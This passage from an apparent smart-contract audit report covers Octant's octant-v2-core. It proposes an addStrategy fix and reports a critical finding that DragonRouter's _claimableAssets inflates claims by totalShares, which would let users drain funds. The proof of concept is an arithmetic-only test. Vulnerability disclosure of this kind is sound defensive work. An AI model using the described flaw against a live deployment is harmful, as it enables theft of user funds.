  • fundFromSource reverts because asset == address(0).

Recommendation​

Fix the addStrategy function by updating storage directly instead of using a memory variable:

function addStrategy(address _strategy) external onlyRole(DEFAULT_ADMIN_ROLE) {
    if (strategyData[_strategy].asset != address(0)) revert AlreadyAdded();

    address asset = ITokenizedStrategy(_strategy).asset();
    if (asset == address(0)) revert ZeroAssetAddress();

    for (uint256 i = 0; i < split.recipients.length; i++) {
        userData[split.recipients[i]][_strategy].splitPerShare = split.allocations[i];
    }

    // Update storage directly
    strategyData[_strategy].totalShares = split.totalAllocations;
    strategyData[_strategy].asset = asset;

    strategies.push(_strategy);
    emit StrategyAdded(_strategy);
}

#11

Title

Mathematical Error in _claimableAssets Function Allows Complete Fund Drainage​

Protocol: Octant / octant-v2-core

ID: #169

Severity: Critical

Likelihood: High

Impact: Critical

Summary​

The _claimableAssets function in DragonRouter.sol contains a mathematical error that allows users to claim exponentially more assets than they are entitled to.

The function incorrectly multiplies by totalShares, inflating claimable amounts by a factor equal to the total number of shares.

This bug enables complete fund drainage.

Finding Description​

  • The _claimableAssets function currently calculates:
// Buggy implementation
return (_userData.splitPerShare * _stratData.totalShares * (_stratData.assetPerShare - _userData.userAssetPerShare)) / SPLIT_PRECISION;

  • The multiplication by _stratData.totalShares is incorrect and inflates the claimable amount.

  • Correct calculation should be:

// Fixed implementation
return (_userData.splitPerShare * (_stratData.assetPerShare - _userData.userAssetPerShare)) / SPLIT_PRECISION;

Impact Explanation​

Critical Impact

  • Users can claim totalShares times more assets than entitled.
  • Example: With 1000 shares, a user can claim 1000x more assets.
  • This enables complete drainage of strategy funds.
  • Exploitation would cause massive financial losses and protocol insolvency.

Likelihood Explanation​

High Likelihood

  • The bug is in the core claim mechanism.
  • It will be triggered every time a user calls claimSplit.
  • Normal operation cannot avoid it.

Proof of Concept​

function testDragonRouterClaimableAssetsBug() public pure {
    // Example values to demonstrate the bug
    uint256 splitPerShare = 100;     // User allocation share
    uint256 totalShares = 1000;      // Total allocations
    uint256 deltaAssetPerShare = 1e18; // Increase of 1 token per share

    // Correct calculation
    uint256 correctClaimable = (splitPerShare * deltaAssetPerShare) / 1e18;

    // Buggy calculation (current implementation)
    uint256 buggyClaimable = (splitPerShare * totalShares * deltaAssetPerShare) / 1e18;

    // Assertions to prove the bug
    assertNotEq(buggyClaimable, correctClaimable, "Buggy and correct calculations should differ");
    assertGt(buggyClaimable, correctClaimable, "Buggy calculation should be larger than correct");
    assertEq(buggyClaimable, correctClaimable * totalShares, "Bug multiplies by totalShares");

    // Result: users can claim 1000x more than entitled
}

Observed:

  • buggyClaimable == correctClaimable * totalShares
  • Users can drain all funds.

Recommendation​

Remove the erroneous multiplication by totalShares.

function _claimableAssets(UserData memory _userData, address _strategy) 
    internal 
    view 
    returns (uint256) 
{
    StrategyData memory _stratData = strategyData[_strategy];
    return (_userData.splitPerShare * (_stratData.assetPerShare - _userData.userAssetPerShare)) / SPLIT_PRECISION;
}

This ensures users can only claim the assets they are actually entitled to.